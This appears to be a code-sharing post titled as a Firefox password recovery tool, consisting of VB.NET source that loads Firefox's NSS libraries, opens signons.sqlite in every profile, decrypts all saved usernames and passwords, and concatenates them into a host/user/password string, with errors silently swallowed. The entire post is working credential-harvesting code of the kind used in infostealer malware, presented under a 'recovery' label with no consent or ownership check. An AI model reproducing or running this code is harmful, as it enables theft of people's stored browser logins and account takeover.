.NET Firefox Password Recovery [v11.0]

Code
Imports System.Collections.Generic

Imports System.Text

Imports System.Runtime.InteropServices

Imports System.IO





Class Firefox

    ' Firefox 11.0 password recovery

    '         * File: signons.sqlite

    '         * Table: moz_logins (id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword, guid, encType)

    '         



    <DllImport("kernel32.dll")> _

    Private Shared Function LoadLibrary(dllFilePath As String) As IntPtr

    End Function

    Shared NSS3 As IntPtr



    Private Declare Ansi Function GetProcAddress Lib "kernel32" (hModule As IntPtr, procName As String) As IntPtr



    <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _

    Public Delegate Function DLLFunctionDelegate(configdir As String) As Long

    Public Shared Function NSS_Init(configdir As String) As Long

        Dim MozillaPath As String = Environment.GetEnvironmentVariable("PROGRAMFILES") + "\Mozilla Firefox\"

        Console.WriteLine("LoadLibrary: mozglue, nspr4, plc4, plds4, nssutil3, mozsqlite3, softokn3, nss3.")

        Console.WriteLine(Convert.ToString("NSS initialized to: ") & configdir)

        LoadLibrary(MozillaPath & Convert.ToString("mozglue.dll"))

        LoadLibrary(MozillaPath & Convert.ToString("nspr4.dll"))

        LoadLibrary(MozillaPath & Convert.ToString("plc4.dll"))

        LoadLibrary(MozillaPath & Convert.ToString("plds4.dll"))

        LoadLibrary(MozillaPath & Convert.ToString("nssutil3.dll"))

        LoadLibrary(MozillaPath & Convert.ToString("mozsqlite3.dll"))

        LoadLibrary(MozillaPath & Convert.ToString("softokn3.dll"))

        NSS3 = LoadLibrary(MozillaPath & Convert.ToString("nss3.dll"))

        Dim pProc As IntPtr = GetProcAddress(NSS3, "NSS_Init")

        Dim dll As DLLFunctionDelegate = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate)), DLLFunctionDelegate)

        Return dll(configdir)

    End Function



    <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _

    Public Delegate Function DLLFunctionDelegate2() As Long

    Public Shared Function PK11_GetInternalKeySlot() As Long

        Dim pProc As IntPtr = GetProcAddress(NSS3, "PK11_GetInternalKeySlot")

        Dim dll As DLLFunctionDelegate2 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate2)), DLLFunctionDelegate2)

        Return dll()

    End Function



    <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _

    Public Delegate Function DLLFunctionDelegate3(slot As Long, loadCerts As Boolean, wincx As Long) As Long

    Public Shared Function PK11_Authenticate(slot As Long, loadCerts As Boolean, wincx As Long) As Long

        Dim pProc As IntPtr = GetProcAddress(NSS3, "PK11_Authenticate")

        Dim dll As DLLFunctionDelegate3 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate3)), DLLFunctionDelegate3)

        Return dll(slot, loadCerts, wincx)

    End Function



    <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _

    Public Delegate Function DLLFunctionDelegate4(arenaOpt As IntPtr, outItemOpt As IntPtr, inStr As StringBuilder, inLen As Integer) As Integer

    Public Shared Function NSSBase64_DecodeBuffer(arenaOpt As IntPtr, outItemOpt As IntPtr, inStr As StringBuilder, inLen As Integer) As Integer

        Dim pProc As IntPtr = GetProcAddress(NSS3, "NSSBase64_DecodeBuffer")

        Dim dll As DLLFunctionDelegate4 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate4)), DLLFunctionDelegate4)

        Return dll(arenaOpt, outItemOpt, inStr, inLen)

    End Function



    <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _

    Public Delegate Function DLLFunctionDelegate5(ByRef data As TSECItem, ByRef result As TSECItem, cx As Integer) As Integer

    Public Shared Function PK11SDR_Decrypt(ByRef data As TSECItem, ByRef result As TSECItem, cx As Integer) As Integer

        Dim pProc As IntPtr = GetProcAddress(NSS3, "PK11SDR_Decrypt")

        Dim dll As DLLFunctionDelegate5 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate5)), DLLFunctionDelegate5)

        Return dll(data, result, cx)

    End Function



    <StructLayout(LayoutKind.Sequential)> _

    Public Structure TSECItem

        Public SECItemType As Integer

        Public SECItemData As Integer

        Public SECItemLen As Integer

    End Structure



    Public Shared Function GetLoginData(keyword As String) As String

        Dim profilesPath As String = Environment.GetEnvironmentVariable("APPDATA") + "\Mozilla\Firefox\Profiles"

        Dim r As String = ""

        Try

            For Each dir As String In Directory.GetDirectories(profilesPath)

                Dim signonsFile As String = IO.Path.Combine(dir, "signons.sqlite")

                If File.Exists(signonsFile) Then

                    Console.WriteLine(Convert.ToString("Found: ") & signonsFile)



                    NSS_Init(dir)

                    PK11_Authenticate(PK11_GetInternalKeySlot(), True, 0)



                    Dim sqlite As New SQLiteHandler(signonsFile)

                    sqlite.ReadTable("moz_logins")



                    '              0      1        2             3              4             5              6                7                 8     9

                    ' moz_logins (id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword, guid, encType)



                    Dim rowCount As Integer = sqlite.GetRowCount()

                    For i As Integer = 0 To rowCount - 1

                        Dim hostName As String = sqlite.GetValue(i, 1)

                        Dim username As String = DecryptData(sqlite.GetValue(i, 6))

                        Dim password As String = DecryptData(sqlite.GetValue(i, 7))

                        If username IsNot Nothing AndAlso password IsNot Nothing Then

                            If [String].IsNullOrEmpty(keyword) Then

                                r += "Firefox ->" + Convert.ToString(" ") & hostName + " ->" + Convert.ToString(" ") & username + " :" + Convert.ToString(" ") & password & "|"

                            ElseIf hostName.Contains(keyword) Then

                                r += "Firefox ->" + Convert.ToString(" ") & hostName + " ->" + Convert.ToString(" ") & username + " :" + Convert.ToString(" ") & password & "|"

                            End If

                        End If

                    Next

                End If

            Next

        Catch

        End Try

        Return r

    End Function



    Public Shared Function QueryFirefox(keyword As String) As String

        Dim profilesPath As String = Environment.GetEnvironmentVariable("APPDATA") + "\Mozilla\Firefox\Profiles"

        Try

            For Each dir As String In Directory.GetDirectories(profilesPath)

                Dim signonsFile As String = IO.Path.Combine(dir, "signons.sqlite")

                If File.Exists(signonsFile) Then

                    Console.WriteLine(Convert.ToString("Found: ") & signonsFile)



                    NSS_Init(dir)

                    PK11_Authenticate(PK11_GetInternalKeySlot(), True, 0)



                    Dim sqlite As New SQLiteHandler(signonsFile)

                    sqlite.ReadTable("moz_logins")



                    '              0      1        2             3              4             5              6                7                 8     9

                    ' moz_logins (id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword, guid, encType)



                    Dim rowCount As Integer = sqlite.GetRowCount()

                    For i As Integer = 0 To rowCount - 1

                        Dim hostName As String = sqlite.GetValue(i, 1)

                        Dim username As String = DecryptData(sqlite.GetValue(i, 6))

                        Dim password As String = DecryptData(sqlite.GetValue(i, 7))

                        If username IsNot Nothing AndAlso password IsNot Nothing Then

                            If [String].IsNullOrEmpty(keyword) Then

                                Return Convert.ToString(username & Convert.ToString(":")) & password

                            ElseIf hostName.Contains(keyword) Then

                                Return Convert.ToString(username & Convert.ToString(":")) & password

                            End If

                        End If

                    Next

                End If

            Next

        Catch

        End Try

        Return Nothing

    End Function



    Private Shared Function DecryptData(input As String) As String

        Dim bvRet As Byte()

        Dim tSec As New TSECItem()

        Dim se As New StringBuilder(input)

        Dim hi2 As Integer = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, se, se.Length)

        Dim item As TSECItem = CType(Marshal.PtrToStructure(New IntPtr(hi2), GetType(TSECItem)), TSECItem)

        If PK11SDR_Decrypt(item, tSec, 0) = 0 Then

            If tSec.SECItemLen <> 0 Then

                bvRet = New Byte(tSec.SECItemLen - 1) {}

                Marshal.Copy(New IntPtr(tSec.SECItemData), bvRet, 0, tSec.SECItemLen)

                Return System.Text.Encoding.UTF8.GetString(bvRet)



            End If

        End If

        Return Nothing

    End Function

End Class